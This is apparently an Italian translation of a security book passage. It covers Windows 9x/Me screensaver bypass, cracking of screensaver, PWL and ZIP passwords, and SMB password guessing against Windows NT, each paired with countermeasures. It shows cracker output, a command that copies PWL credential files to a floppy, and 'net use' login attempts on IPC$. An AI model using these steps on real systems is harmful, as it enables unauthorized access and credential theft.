Al contrario di quanto avviene per Windows NT, in Windows 9*x* non esiste il concetto di accesso sicuro alla console utilizzando un nome di utente valido. Per questo motivo, chiunque può accedere a un sistema Windows 9*x* avviando il sistema oppure riavviandolo, nel caso in cui Windows 9*x* sia bloccato da uno screensaver protetto da password. Le prime versioni di Windows 95 consentivano addirittura la chiusura dello screensaver utilizzando le combinazioni di tasti Ctrl+Alt+Canc oppure Alt+Tab. La finestra di dialogo che richiede l'inserimento del nome utente e della password proposta all'avvio del sistema è in pratica una pura formalità. La password "di Windows" verifica la presenza di un profilo utente associato, ma non effettua alcun controllo di accesso alle risorse (con l'esclusione dell'elenco di password di cui si parlerà nel prosieguo del capitolo). Possiamo presupporre allora che per oltrepassare la finestra di dialogo che richiede l'inserimento della password sia sufficiente premere il tasto Canc e ottenere l'accesso quasi completo alle risorse di sistema. Lo stesso comportamento vale per qualunque finestra di dialogo per l'accesso alla rete che possa apparire all'avvio del sistema (esistono diverse tipologie di finestre di dialogo a seconda del tipo di rete a cui il sistema sta cercando di accedere).

Contromisure all'accesso diretto alla console

La soluzione tradizionale per questo tipo di intrusione consiste nell'impostare una password a livello di BIOS. Il BIOS (*Basic Input Output System*) è il software di base per l'avvio del sistema ed è contenuto all'interno di un chip della scheda principale che costituisce il computer. Questo software fornisce le funzionalità di base di ogni PC IBM compatibile. Questa è la prima entità che accede alle risorse fisiche del sistema: nella maggior parte dei BIOS dei computer presenti in commercio può essere attivata una password di accesso al sistema, in grado di bloccare gran parte dei tentativi di intrusione occasionale. Ovviamente i pirati più accaniti possono smonta-

re il PC e rimontare il disco fisso in un'altra postazione in cui non è presente una password a livello di BIOS. Per completezza occorre segnalare anche che sono reperibili su Internet alcuni programmi in grado di decifrare le password del BIOS, ma la presenza di una password BIOS sarà in grado di scoraggiare la maggior parte dei possibili curiosi.
Naturalmente, consigliamo vivamente di impostare una password dello screensaver. Per impostarla utilizzate la scheda *Screen Saver* della finestra *Proprietà schermo* del *Pannello di controllo*. Uno degli aspetti più fastidiosi di Windows 9*x* è la mancanza di una procedura integrata per l'attivazione manuale dello screensaver. Un trucco consiste nell'utilizzare l'applicazione OSA (*Office Startup Application*) disponibile quando viene installata la suite degli strumenti di produttività di Microsoft Office. Il parametro `-s` di OSA abilita lo screensaver e blocca lo schermo ogni volta che viene eseguito. Di solito inseriamo un collegamento a `osa.exe -s` nel menu *Avvio* in modo che l'applicazione sia immediatamente disponibile. Per ulteriori informazioni, leggere l'articolo Q210875 di Microsoft Knowledge Base (KB) (`http://support.microsoft.com/default.aspx?scid=kb;en-us;210875`).
Sono anche disponibili alcuni prodotti commerciali, per il BIOS di Win 9*x*, in grado di bloccare il sistema, o di fornire uno strumento di cifratura del contenuto del disco fisso. Anche il famosissimo PGP (*Pretty Good Privacy*), che è diventato un prodotto commerciale, ma che è ancora disponibile gratuitamente per gli utenti privati all'indirizzo `http://www.pgp.com`, è in grado di svolgere le funzioni di cifratura dei file a chiave pubblica in una versione di Windows.

Esecuzione automatica e cattura della password dello screensaver

Diffusione:	*4*
Semplicità:	*7*
Impatto:	*10*
Fattore di rischio:	*7*

I metodi brutali del riavvio hardware (utilizzando il pulsante presente sul case) o la combinazione di tasti Ctrl+Alt+Canc, utilizzabili per oltrepassare le barriere di sicurezza, potrebbero ledere l'autostima degli hacker di un certo calibro (oppure gli incauti amministratori di sistema che hanno completamente scordato la password dello screensaver). Per questi ultimi, come per i primi, esiste un metodo più raffinato per intromettersi in un sistema Windows 9*x* protetto da uno screensaver. Questo sistema sfrutta due debolezze intrinseche dei sistemi Windows 9*x*: la funzionalità di Esecuzione automatica all'inserimento di un CD-ROM e il debole algoritmo di cifratura con cui la password dello screensaver viene memorizzata.
Il difetto relativo alla funzionalità di Esecuzione automatica del CD-ROM è ben illustrato dall'articolo Q126025 contenuto nel catalogo Microsoft Knowledge Base, di cui riportiamo uno stralcio.

> "Windows è in continua attesa dell'inserimento di un nuovo CD-ROM nell'unità. Quando viene rilevato un nuovo CD-ROM, il sistema ricerca la presenza del file Autorun.inf. Se nel volume è presente un file Autorun.inf, viene avviato il programma che è specificato nella voce `open=` all'interno di questo file."

Questa funzionalità può essere sfruttata per avviare qualunque tipo di programma (state forse già pensando a Back Orifice o a NetBus?). La particolarità in questo momento più interessante è che sui sistemi Windows *9x* il programma presente sul CD-ROM viene avviato anche se è attivo lo screensaver.
Passiamo al secondo punto debole: in Windows *9x* la password dello screensaver viene memorizzata nel Registro di sistema, nella posizione *HKEY_Users\.Default\Control Panel\ScreenSaver_Data* e il meccanismo con cui viene memorizzata è stato scoperto e reso pubblico. È semplice estrarre questo valore dal Registro di sistema (che si trova, quando non sono attivi i profili utente, nel file *C:\Windows\USER.DAT*), decifrarlo e passare la password a Win *9x* tramite le chiamate standard; quasi per magia lo screensaver viene disattivato.
Uno strumento chiamato SSBypass è distribuito da Amecisco (`http://www.amecisco.com/ssbypass.htm`). Potete anche trovare programmi che hanno la sola funzione di decifrare la password dello screensaver, come per esempio `95sscrk`, che è incluso nell'eccellente collezione di strumenti per il crack di Joe Peschel, all'indirizzo `http://users.aol.com/jpeschel/crack.htm`. All'interno di questa pagina trovate riferimenti ad altri programmi di sicuro interesse. `95sscrk` non disattiva automaticamente lo screensaver, ma rende molto semplice la decifrazione della password associata, che viene letta dal Registro di sistema:

```
C:\TEMP>95sscrk
Win95 Screen Saver Password Cracker v1.1 - Coded by Nobody
➥(nobody@engelska.se)
(c) Copyrite 1997 Burnt Toad/AK Enterprises - read 95SSCRK.TXT before
➥usage!
---------------------------------------------------------------
· No filename in command line, using default! (C:\WINDOWS\USER.DAT)
· Raw registry file detected, ripping out strings...
· Scanning strings for password key...
 Found password data! Decrypting ... Password is GUESSME!
_ Cracking complete! Enjoy the passwords!
---------------------------------------------------------------
```

Contromisure alla disattivazione dello screensaver

Microsoft ha corretto tutti i problemi relativi alla password dello screensaver e alla funzionalità Esecuzione automatica: il problema è che la patch si chiama Windows NT/2000! Per gli affezionati di Windows *9x* invece consigliamo semplicemente di disattivare le funzionalità di Esecuzione automatica del CD-ROM, come viene illustrato in questo stralcio dell'articolo Q126025, tratto da Microsoft Knowledge Base.

1. Nel *Pannello di controllo*, fate doppio clic su *Sistema*.
2. Fate clic sulla scheda *Gestione periferiche*.
3. Fate doppio clic sul ramo *Unità CD-ROM*, quindi selezionate la scheda *Driver*.
4. Nella scheda *Impostazioni*, fate clic sulla casella di controllo *Notifica inserimento automatico* per disattivarla.
5. Fate clic su *OK* o su *Chiudi* finché non tornate al *Pannello di controllo*. Quando viene chiesto di riavviare il computer, fate clic su *Sì*.

Lettura della password giacente in memoria

Diffusione:	*8*
Semplicità:	*9*
Impatto:	*8*
Fattore di rischio:	*8*

Supponiamo che l'hacker sia riuscito nell'intento di disattivare la protezione dello screensaver e abbia a disposizione un po' di tempo; è possibile utilizzare alcuni strumenti che sono in grado di rivelare qualunque password memorizzata nei controlli di Windows e protetta dai famigerati asterischi. Questi programmi non sono veri e propri strumenti di pirateria, ma piuttosto sono utili agli utenti distratti che hanno dimenticato la password; tuttavia vista la loro utilità li descriveremo brevemente.
Uno dei più conosciuti strumenti di recupero delle password è Revelation, prodotto e distribuito da SnadBody Software (`http://www.snadbody.com`) (si veda la Figura 4.7).

Figura 4.7
Lo strumento Revelation 1.1 di SnadBody Software è in grado di rivelare le password di condivisione dei file di Windows.

Un altro strumento di recupero delle password molto efficace è ShoWin scritto da Robin Keir e disponibile all'indirizzo `http://www.foundstone.com/rdlabs/tools.php?category=Forensic`. Altri programmi simili sono Unhide, di Vitas Ramanchauskas (`http://www.webdon.com`), che distribuisce anche `pwltool` (si veda il paragrafo successivo) e Dial-Up Ripper (`dripper`, scritto da Korhan Kaya e disponibile su Internet in vari siti), un'utility in grado di decifrare la password memorizzata per una connessione di accesso remoto. Questi strumenti possono essere utilizzati solo se si ha pieno accesso alla sessione di Windows (e se qualcuno riesce ad arrivare a tanto, la

protezione dei vostri dati è comunque ampiamente compromessa) e possono diventare un serio pericolo se utilizzati da persone che hanno accesso permanente a un vasto numero di sistemi. Questo quadro assume aspetti ancora più preoccupanti se tali persone dispongono anche di un disco floppy contenente un software come Revelation: pensate, per esempio, a quante password possono essere raccolte in poco tempo da un semplice consulente che effettua l'aggiornamento dei vostri sistemi Windows 9*x* durante il periodo estivo. Anche Windows NT può essere attaccato da questi strumenti, anche se non possono essere utilizzati per la finestra di logon dalla rete e per tutte le finestre di dialogo in cui la password non viene memorizzata: se non vedete gli asterischi nel campo password non avrete fortuna.

Crack dei file PWL

Diffusione:	*8*
Semplicità:	*9*
Impatto:	*8*
Fattore di rischio:	*8*

L'hacker informatico non deve rimanere seduto molto a lungo alla console del sistema per ottenere le informazioni che desidera: in caso di difficoltà, le informazioni possono essere trasferite su un floppy e decodificate successivamente con calma, con lo stesso approccio utilizzato dal programma `crack` per sistemi UNIX, o da L0phtcrack per Windows NT.

La lista di password cifrate dei sistemi Windows 9*x* o del file PWL generalmente si trova all'interno della cartella di sistema di Windows (nella maggior parte dei casi *C:\Windows*). Ciascun file PWL ha il nome del profilo utente nel sistema, quindi è sufficiente copiare i file su un dischetto inserito nel drive A, eseguendo queste istruzioni assolutamente banali:

```
copy C:\Windows\*.pwl a:
```

Un file PWL contiene in realtà una cache locale di password utilizzate per l'accesso alle seguenti risorse:

- risorse protette a livello di sicurezza utente;
- applicazioni scritte per poter usufruire delle API di memorizzazione locale delle password, come il servizio di accesso remoto;
- workstation Windows NT che non fanno parte del dominio;
- logon di Windows NT che non sono di accesso primario;
- server NetWare.

Prima dell'introduzione della versione OSR2 (*OEM System Release 2*), Windows 95 utilizzava un algoritmo relativamente debole per la cifratura dei file PWL, che venivano decifrati utilizzando varie applicazioni di ampia diffusione. OSR2 è una versione resa disponibile successivamente e fornita solamente a chi ha acquistato il computer da un fornitore OEM. L'algoritmo di cifratura dei file PWL è attualmente più resistente a un attacco di tipo "forza bruta" (cioè per tentativi successivi) e l'elaborazione dei tentativi richiede molto tempo in più, ma è comunque un'impresa fattibile.

Uno di questi strumenti di crack di file PWL è `pwltool`, realizzato da Vitas Ramanchauskas e da Eugene Korolev (`http://www.webdon.com`). `pwltool`, mostrato nella Figura 4.8, può eseguire un attacco di tipo "forza bruta" basato su un dizionario

contro un file PWL. Con un attacco di questo genere, è solamente una questione di dimensione del dizionario (`pwltool` richiede che gli elenchi di parole vengano convertiti in lettere maiuscole) o di cicli di CPU necessari affinché riesca a decifrare le password contenute in un file PWL. Ancora una volta dobbiamo sottolineare il fatto che questo strumento è forse più utile a un utente in preda a una crisi di amnesia, piuttosto che a un hacker incallito, che utilizzerebbe il suo tempo per attività molto più intrusive rispetto alla semplice decifratura di un file PWL. In termini generali comunque, questo è uno dei punti di hacking più rilevanti di Windows 9*x*.

Figura 4.8
Con pwltool si può disabilitare la cache dei file PWL di Win 9x.

Un altro ottimo programma di crack del file PWL è CAIN di Break-Dance (si veda all'indirizzo `http://www.confine.com`) che non è però la sola funzione svolta da CAIN. Il programma è anche in grado di recuperare la password dello screensaver dal Registro di sistema, enumerare le condivisioni locali, le password memorizzate sulla cache e altre informazioni di sistema.

Contromisure: protezione dei file PWL

Per gli amministratori di sistema che sono preoccupati da questa possibile tipologia di intrusione, forniamo una valida contromisura: il System Policy Editor di Windows 9*x* è in grado di disabilitare la funzione di cache delle password. In alternativa si può impostare la seguente chiave del Registro di sistema:

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\
    Network\DisablePwdCaching = 1
```

Per chi è in possesso di una versione di Windows 95 precedente alla release OSR2 è disponibile l'aggiornamento della libreria di cifratura dei file PWL. L'aggiornamento può essere eseguito seguendo le istruzioni disponibili all'indirizzo `http://support.microsoft.com/support/kb/articles/Q132/8/07.asp`.
I file PWL non sono l'unico algoritmo di cifratura su cui si è concentrata l'attenzione degli hacker a caccia di password. Il sito `http://www.lostpassword.com` contiene

una serie di utility in grado di sferrare attacchi a qualunque tipo di file protetto da password nel mondo Microsoft, dai file PST di Outlook, ai file protetti di Microsoft Word, Excel, Powerpoint, Access e così via. Sono inoltre disponibili numerosi strumenti per risalire alle password di protezione degli onnipresenti file ZIP, al punto che questi, per essere spediti su Internet, vengono spesso inseriti in file protetti da password. AZPR (*Advanced Zip Password Recovery*) di Elcomsoft è in grado di eseguire il crack sia con il metodo forza bruta, sia utilizzando testo semplice o un dizionario. Ma l'aspetto più entusiasmante è la sua incredibile velocità, come dimostrato dalla figura seguente, che mostra i risultati di una sessione di crack dei file zip che sfrecciava alla velocità di 518.783 tentativi di deduzione della password al secondo.

Password successfully recovered !

Advanced ZIP Password Recovery statistics:

Total passwords	19,195
Total time	37ms
Average speed (passwords per second)	518,783
Password for this file	password
Password in HEX	70 61 73 73 77 6f 72 64

Save... ✓ OK

Segnaliamo un altro sito che contiene validi link con strumenti di test e di recupero delle password: la pagina di Joe Peschel all'indirizzo `http://users.aol.com/jpeschel/crack.htm`. Adesso anche voi sapete che in qualunque pasticcio vi caccino le vostre password, il vostro vicino di casa (hacker) può aiutarvi a risolverlo!

Windows Millennium Edition (Me)

Windows Millennium Edition (Win Me) è una versione "aggiornata" di Win 98, nella quale sono stati risolti alcuni vecchi problemi e aggiunte nuove funzionalità.

Attacchi a Win Me da postazioni remote

Dal punto di vista di un hacker, Win Me somiglia molto a Win 9*x*: non sono stati introdotti nuovi servizi, la condivisione di file e stampanti è disabilitata come impostazione predefinita, così come il Servizio Registro Remoto. A meno che l'utente finale non attivi qualcuno di questi servizi, è poco probabile che un hacker riesca a forzare un sistema Win Me.

Attacchi locali a Win Me

In termini di metodi di attacco locali, non c'è differenza tra Windows Me e Windows 9*x*. Uno degli attacchi più recenti e interessanti a Win Me (e a Win 98 con il pacchetto Plus!) riguardava un vecchio problema di sicurezza, spesso affrontato nel

lavoro di consulenza: come si proteggono file utilizzati da diversi utenti? La situazione standard è quella del piccolo ufficio o ufficio domestico (SOHO, *Small Office-Home Office*), in cui non si avverte la necessità o non si desidera aumentare il numero di macchine utilizzate per scopi specifici: un'unica macchina viene utilizzata per diverse tipologie di operazioni. Considerate, per esempio, uno studio dentistico, in cui la segretaria utilizza un sistema Win Me per gestire gli appuntamenti dei pazienti durante il giorno, mentre la stessa macchina ospita anche l'applicazione di contabilità utilizzata durante la sera dal direttore dello studio: come impedire alla segretaria di esaminare i dati contabili dello studio?
Come potrete facilmente immaginare, la soluzione predefinita a questo problema consiste nell'utilizzare le funzioni già presenti nel sistema operativo, che forniscano o meno una soluzione efficace.

Recupero delle password dalle cartelle compresse

Diffusione:	*8*
Semplicità:	*9*
Impatto:	*8*
Fattore di rischio:	*8*

Win 98 Plus! e Me forniscono una funzione chiamata *Cartelle compresse*, che permette di comprimere i file selezionati dall'utente in modo trasparente, per occupare una quantità inferiore di spazio su disco. La funzione di protezione password di *Cartelle compresse* fornita dal sistema operativo dà l'impressione agli utenti di Win 98 Plus! e Me di poter proteggere con password i file in essa memorizzati: spesso è stata utilizzata da molte piccole aziende per proteggere file riservati da utenti specifici della stessa macchina Win 98 Plus! o Me. Purtroppo questa funzione non offre tale tipo di sicurezza, perché le password di *Cartelle compresse* sono registrate in chiaro e in formato testo, nel file *C:\windows\dynazip.log* sul sistema locale Win 98 Plus! o Me; chiunque sia a conoscenza di questo fatto può aprire con semplicità il file e leggersi la password di qualsiasi cartella compressa sul sistema.

Contromisure: recupero delle password delle cartelle compresse

La migliore risposta a questo problema è non considerare sicure le password di *Cartelle compresse*. Microsoft raccomanda di aggiornarsi a Win NT o 2000, e di utilizzare account utente separati e liste di controllo dell'accesso NTFS, per regolamentare l'accesso ai file in un sistema multiutente.

Si sconsiglia di utilizzare la funzionalità Crittografia file system *di Windows 2000 a questo scopo, perché garantisce un livello minimo di sicurezza di autorizzazione aggiuntiva alle protezioni NTFS standard e può essere facilmente forzata da un hacker deciso avente l'accesso fisico al sistema.*

Sono disponibili, per Win 9*x* e Me, diversi prodotti di sicurezza per file di terze parti, che consigliamo caldamente nel caso in cui non possiate o non vogliate passare a Win NT o 2000. Uno dei nostri preferiti è PGPDisk di PGP Corporation (`http://www.pgp.com`). È disponibile un elenco di strumenti di cifratura di file Win 9*x* gratuiti e dimostrativi all'indirizzo `http://www.modemspeedtest.com/crypto.htm`. Non

avendo testato nessuno di questi strumenti, non ne raccomandiamo uno specifico, ma consigliamo di valutarli attentamente prima di affidare a essi la protezione di file molto importanti.
Se desiderate installare aggiornamenti a funzioni di Microsoft, assolutamente superflui, consultate il bollettino MS01-019 all'indirizzo `http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/current.asp`.
Se adottate questa soluzione, accertatevi di eliminare anche tutti i file esistenti *C:\windows\dynazip.log*, perché non vengono cancellati. Questa vulnerabilità è riconosciuta come Bugtraq Vulnerability ID 2516.

Capitolo 5

Hacking di Windows NT

Stando a quanto affermano diverse fonti, Windows NT costituisce una parte significativa dei sistemi di qualunque rete, privata o pubblica che sia. Soprattutto a causa di tale predominio, la famiglia NT è stata il bersaglio preferito degli hacker sin dal 1997, quando un ricercatore di nome "Hobbit" pubblicò un articolo sul CIFS (*Common Internet File System*) e l'SMB (*Server Message Block*), le architetture alla base delle reti implementate con la famiglia NT. (Una copia del documento è disponibile all'indirizzo `http://www.insecure.org/stf/cifs.txt`.) Da quel momento in poi la pubblicazione di exploit relativi a Windows NT non ha più avuto termine.

*In tutto questo libro, utilizziamo il termine "famiglia NT" per indicare tutti i sistemi basati sulla piattaforma NT (*New Technology*) di Microsoft, vale a dire Windows NT 3.x e 4.x, Windows 2000, Windows XP e Windows .NET Server 2003. Ove necessario, distingueremo tra le versioni desktop e quelle server. Di contro, designeremo collettivamente i sistemi Microsoft DOS/Windows 1.x/3.x/9x/Me come "famiglia DOS" (si veda il Capitolo 4).*

Microsoft ha risolto prontamente tutti i difetti che sono stati evidenziati da allora e ha rafforzato i sistemi della famiglia NT con nuove funzionalità di sicurezza man mano che essi si sviluppavano. Per questo motivo crediamo che la percezione corrente di Windows NT come sistema di rete non sicuro abbia scarso fondamento. Se affidato ad amministratori capaci, Windows NT garantisce gli stessi livelli di sicurezza (o, addirittura, maggiori) dei sistemi UNIX, Linux e altri. Inoltre, com'è noto, "il guidatore in caso di incidente ha maggiori responsabilità dell'auto".
Tuttavia è evidente che questo capitolo non sarebbe così lungo se la famiglia NT fosse sicura al 100% senza ulteriori interventi. Nelle nostre riflessioni e analisi sulla sicurezza della famiglia NT, effettuate nel corso di molti anni, abbiamo individuato due fattori che determinano le aree di maggior rischio: la diffusione e le configurazioni di default non sicure.
La diffusione presenta alcuni vantaggi e svantaggi per gli utenti delle tecnologie Microsoft. Da un lato, c'è il vantaggio di un ampio supporto da parte degli sviluppatori, di un'accettazione quasi universale da parte degli utenti e un solido sistema di supporto a livello mondiale. Il rovescio della medaglia è che la dominante monocultura di Windows è sempre di più il bersaglio preferito degli hacker, che mettono a punto sofisticati attacchi e poi li eseguono su scala globale (come te-

stimoniano i casi dei worm Code Red e Nimda: visitate rispettivamente gli indirizzi http://www.eeye.com/html/Research/Advisories/AL20010717.html e http://www.cert.org/advisories/CA-2001-26.html). Per quanto riguarda il desiderio di un hacker di acquisire notorietà (in modo corretto o discutibile), non c'è nulla che dia più prestigio di uno smacco a Microsoft.

Se desiderate conoscere come la famiglia NT si comporta rispetto ad altre piattaforme nei confronti degli hacker del mondo reale, verificate i risultati delle sfide OpenHack di eWeek all'indirizzo http://www.eweek.com/category2/1,3960,600431,00.asp.

La grande semplicità con cui l'interfaccia di Windows NT si presenta è fin troppo apprezzata dagli amministratori di sistema alle prime armi, che generalmente si limitano a modificare solo qualche impostazione di NT dopo aver aperto la confezione del software. Questa semplicità è però ingannevole; come sa bene qualsiasi amministratore esperto di sistemi NT, ci sono decine di impostazioni da modificare per garantire un buon livello di sicurezza del sistema (ecco il motivo per cui è stato scritto questo libro!).

La compatibilità con il software tradizionale genera confusione e rende NT meno sicuro di quanto potrebbe essere. Come vedrete in questo capitolo, il fatto che NT continui a supportare le funzionalità tradizionali relative all'autenticazione SMB lo rende totalmente vulnerabile ad alcuni tipi di attacchi ingegnosi. Ovviamente, tale supporto è attivato di default nelle configurazioni predefinite.

Infine, un altro motivo per cui la famiglia NT continua a trovarsi nell'occhio del ciclone è la continua proliferazione di caratteristiche e funzionalità attivate di default all'interno della piattaforma. Per esempio, Microsoft ha realizzato tre generazioni di sistemi operativi prima di rendersi conto che l'installazione e l'attivazione di default del software IIS (*Internet Information Services*) della famiglia NT mette i suoi clienti alla mercé degli hacker sulle reti pubbliche (Code Red e Nimda hanno come bersaglio l'IIS). Una delle regole principali della sicurezza è che il rischio cui un qualsiasi sistema è soggetto è direttamente proporzionale alla sua complessità; quando Microsoft avrà imparato dai suoi errori passati, eviterà di attivare il massimo di funzionalità di default.

Ci sono però alcuni indizi che inducono a pensare che questo concetto stia cominciando a far breccia nella Casa di Redmond. A gennaio 2002, il capo e leader spirituale di Microsoft, Bill Gates, ha inviato un memoriale ai dipendenti dell'azienda in cui illustra la cosiddetta filosofia del TWC (*TrustWorthy Computing*). Il TWC punta a far sì che i prodotti Microsoft soddisfino le stesse aspettative che la gente ha da tempo nei confronti di oggetti e tecnologie più comuni della vita quotidiana, quali il telefono, l'acqua corrente e l'elettricità. Più importante di questi concetti altisonanti è stata la dichiarazione contenuta in tale memoriale, secondo cui la sicurezza dovrà essere considerata prioritaria rispetto all'introduzione di nuove funzionalità nei futuri progetti di sviluppo condotti da Microsoft. È stato in seguito annunciato che il lancio della versione di Windows .NET Server 2003 è stato posticipato in attesa che Microsoft completi alcuni "test di sicurezza" per esaminare il progetto e l'implementazione del prodotto, onde individuare eventuali punti deboli. Probabilmente ormai Microsoft prende molto sul serio la sicurezza.

Tuttavia solo il tempo potrà dire quanto sul serio; sicuramente rammentate che solo con il rilascio di NT4 Service Pack 3 sono state aggiunte alcune delle attuali funzionalità di sicurezza (per esempio SYSKEY) di questo sistema operativo e che solamente con quello di Windows 2000 Service Pack 2 sono stati eliminati alcuni dei bachi più gravi di IIS (per esempio, quelli relativi a Code Red e Nimda), il tutto in ri-

sposta a una serie di subdoli attacchi messi a segno dalla sempre tenace comunità degli hacker.
Ora che abbiamo passato in rassegna il tema della sicurezza nella famiglia NT, facciamo il punto della situazione prima di passare a una discussione dettagliata.

Panoramica

Abbiamo diviso questo capitolo in tre paragrafi principali:

- **Attacchi senza autenticazione.** In questo paragrafo parleremo degli attacchi remoti di reti, basati unicamente sulle informazioni relative al sistema bersaglio acquisite nei Capitoli 2 e 3.
- **Attacchi con autenticazione.** Assumendo che uno degli attacchi descritti in precedenza abbia avuto successo, l'aggressore passerà ora alla scalata dei privilegi, se necessario, assumendo il controllo remoto del sistema violato, estraendo password e altre informazioni utili, installando backdoor e nascondendo le sue tracce.
- **Sicurezza nella famiglia NT.** Quest'ultimo paragrafo è una trattazione esaustiva delle contromisure incorporate nei sistemi operativi e delle procedure più opportune da adottare contro i numerosi attacchi descritti nei paragrafi precedenti.

Prima di iniziare la trattazione è importante sottolineare che in questo capitolo diamo per scontato che il percorso preliminare da seguire per iniziare un attacco a un sistema Windows NT sia già stato tracciato: prima di tutto avete selezionato l'obiettivo (Capitolo 2); quindi, avete già ottenuto l'elenco delle sue risorse (Capitolo 3). Come abbiamo visto nel Capitolo 2, le scansioni delle porte e la cattura dei banner sono i mezzi principali con cui le postazioni Windows possono essere identificate sulla rete. Nel Capitolo 3 abbiamo dettagliatamente mostrato come vari tool utilizzati sull'SMB "a sessione nulla" possono fornire numerose informazioni su utenti, gruppi e servizi Windows. In questo capitolo, sfrutteremo la mole di dati ottenuti in questi due capitoli per accedere agevolmente ai sistemi della famiglia NT.

Argomenti non trattati

Questo capitolo non offrirà comunque una trattazione completa di tutti gli strumenti disponibili su Internet per svolgere queste operazioni di attacco. Evidenzieremo solamente quelle che, secondo il nostro modesto parere, sono le utility più eleganti e funzionali, anche se illustreremo i principi generali e le metodologie di attacco. Quale meccanismo di apprendimento potremo concepire per aiutarvi a preparare i vostri sistemi Windows NT ad affrontare uno di questi attacchi?
C'è un'omissione clamorosa: la sicurezza delle applicazioni. Probabilmente le metodologie più critiche di attacco a Windows non affrontate in questo capitolo sono le tecniche di hacking delle applicazioni Web. Spesso le protezioni a livello del sistema operativo vengono vanificate da tali attacchi a livello di applicazione. In questo capitolo parliamo del sistema operativo, in particolare del server Web incorporato in IIS, ma non affrontiamo il tema della sicurezza delle applicazioni.

Attacchi senza autenticazione

I due meccanismi principali per la compromissione remota di sistemi della famiglia NT sono l'SMB e l'IIS. Sbarrando queste due vie di penetrazione, realizzerete un notevole passo avanti nella giusta direzione: rendere impenetrabili i sistemi di questa famiglia. In questo paragrafo mostreremo i punti deboli più critici presenti in queste due funzionalità e spiegheremo come affrontare tali problemi.

Attacchi SMB (Server Message Block)

Il metodo tradizionale per effettuare il cracking remoto dei sistemi della famiglia NT consiste nell'attaccare il servizio di condivisione file e stampanti, operante con il cosiddetto protocollo SMB (*Server Message Block*). Si può accedere all'SMB tramite due porte TCP: il NetBIOS Session Service, sulla TCP 139 e sulla TCP 445 (essenzialmente si tratta dell'SMB "grezzo" su TCP, talvolta chiamato Direct Host). Le versioni di Windows NT precedenti Windows 2000 utilizzavano unicamente la TCP 139; Windows 2000 e le versioni successive si servono di default sia della TCP 139 sia della TCP 445.

Ricerca della password

Diffusione:	7
Semplicità:	7
Impatto:	6
Fattore di rischio:	7

Supponendo che SMB sia accessibile, il metodo più efficace per entrare di soppiatto in un sistema della famiglia NT è la vecchia cara ricerca della password: connettersi a una risorsa condivisa (quale IPC$ o C$) e provare le possibili combinazioni nome utente/password fino a trovare quella giusta.

Naturalmente, per utilizzare con successo questo metodo è assolutamente indispensabile avere a disposizione una lista di nomi utente validi. Abbiamo già illustrato alcune delle migliori utility in grado di rintracciare i nomi utente, incluso il metodo della connessione anonima con il comando `net use`, che cerca di aprire una porta stabilendo una sessione nulla con il sistema di destinazione. Altri strumenti di cui abbimao già parlato sono DumpACL/DumpSec di Somarsoft Inc. e sid2user/user2sid di Evgenii Rudinyi, illustrati nel Capitolo 3. Se siete in possesso di un nome utente valido, la ricerca della password diventa un'attività maggiormente precisa.

Trovare un punto di condivisione appropriato per sferrare l'attacco è in genere banale. Nel Capitolo 3 avete visto con quale facilità si può accedere alla "condivisione" Interprocess Communications (IPC$), invariabilmente presente nei sistemi che esportano l'SMB. In aggiunta, sono quasi sempre presenti condivisioni amministrative, comprese ADMIN$ e [*%systemdrive%*]$ (per esempio, C$), per abilitare la ricerca della password. Ovviamente, è anche possibile enumerare le risorse condivise (Capitolo 3).

In questo modo, avendo a disposizione una lista di nomi utente validi, l'hacker dovrà semplicemente aprire la cartella *Risorse di Rete* per visualizzare i sistemi Windows NT presenti nella rete locale (oppure utilizzare *Trova Computer* e fornire un

indirizzo IP valido); quindi, è sufficiente fare doppio clic sul sistema di destinazione, come mostrato nelle due figure seguenti.

I tentativi di identificare le password possono anche essere effettuati utilizzando la riga di comando, servendosi del comando **net use**. Se specificate un carattere asterisco (*) al posto della password, il sistema remoto la richiederà successivamente come mostrato di seguito:

```
C:\> net use \\192.168.202.44\IPC$ * /u:Administrator
Type the password for \\192.168.202.44\IPC$:
The command completed successfully.
```

L'utente specificato con il parametro `/u:` *può creare confusione. Ricordate che nei sistemi della famiglia NT gli account sono identificati mediante i SID, che sono valori numerici comprensivi delle coppie MACHINE\account o DOMAIN\account. Se non è possibile eseguire l'autenticazione come amministratore, provate a utilizzare la sintassi DOMAIN\account. Ricordate che è possibile scoprire il dominio NT di un sistema con lo strumento di NTRK* `netdom`.

Gli hacker di solito cercheranno di indovinare le password degli utenti che sono definiti come *locali* sui sistemi della famiglia NT Server installati in modalità standalone, piuttosto che cercare di utilizzare gli utenti globali di dominio definiti sui domain con-

troller. Vi è certamente maggiore probabilità che gli utenti locali siano definiti in modo da riflettere i piccoli difetti introdotti dai singoli amministratori di sistema, anziché in base ai requisiti più restrittivi per le password applicati a un'organizzazione IT centrale. (Questi tentativi possono essere registrati anche sul controllore di dominio.)
Naturalmente, se riuscite a decifrare l'utente Administrator o l'account del dominio Domain Admin del PDC (*Primary Domain Controller*, controllore di dominio principale), avrete l'intero dominio (e qualsiasi dominio di fiducia) al vostro servizio. In genere, vale la pena identificare il controllore di dominio (e, per le reti con NT4 o versioni precedenti, il controllore di dominio principale, o PDC), avviare la ricerca automatizzata delle password utilizzando metodi a basso impatto e contemporaneamente eseguire la scansione di un intero dominio alla ricerca di errori di configurazione (come, per esempio, sistemi con password di Administrator vuote).

Se deciderete di utilizzare le tecniche seguenti per effettuare l'auditing dei sistemi della vostra azienda (ovviamente dopo aver ottenuto i dovuti permessi), prestate attenzione a non bloccare l'autenticazione degli utenti su cui state effettuando i tentativi di accesso, manuali o automatizzati. Nulla è peggio di una rete in cui nessun utente possa collegarsi per dissuadere la direzione dal proseguire con le vostre iniziative volte al miglioramento dei sistemi di sicurezza. Per verificare questa condizione, strumenti come `enum` *(si veda il Capitolo 3) consentono di ottenere la policy sulle password utilizzando una sessione nulla. È opportuno, inoltre, verificare che l'utente Guest sia disabilitato e utilizzarlo per provare a indovinare le password. L'utente Guest, anche quando è disabilitato, indica se si verifica la condizione di blocco dell'autenticazione.*

La ricerca della password è un metodo chirurgico per sfruttare gli annosi errori di selezione delle password degli utenti. Questi errori sono elencati di seguito.

- Gli utenti tendono a preferire le password di accesso più semplici in assoluto, vale a dire le password vuote. Il principale difetto della sicurezza della maggior parte delle reti è sicuramente la presenza di nomi utente la cui password è vuota oppure corrispondente a una parola molto banale. Questa dovrebbe essere la priorità dell'amministratore di sistema che sta effettuando un'indagine sui livelli di sicurezza della rete.
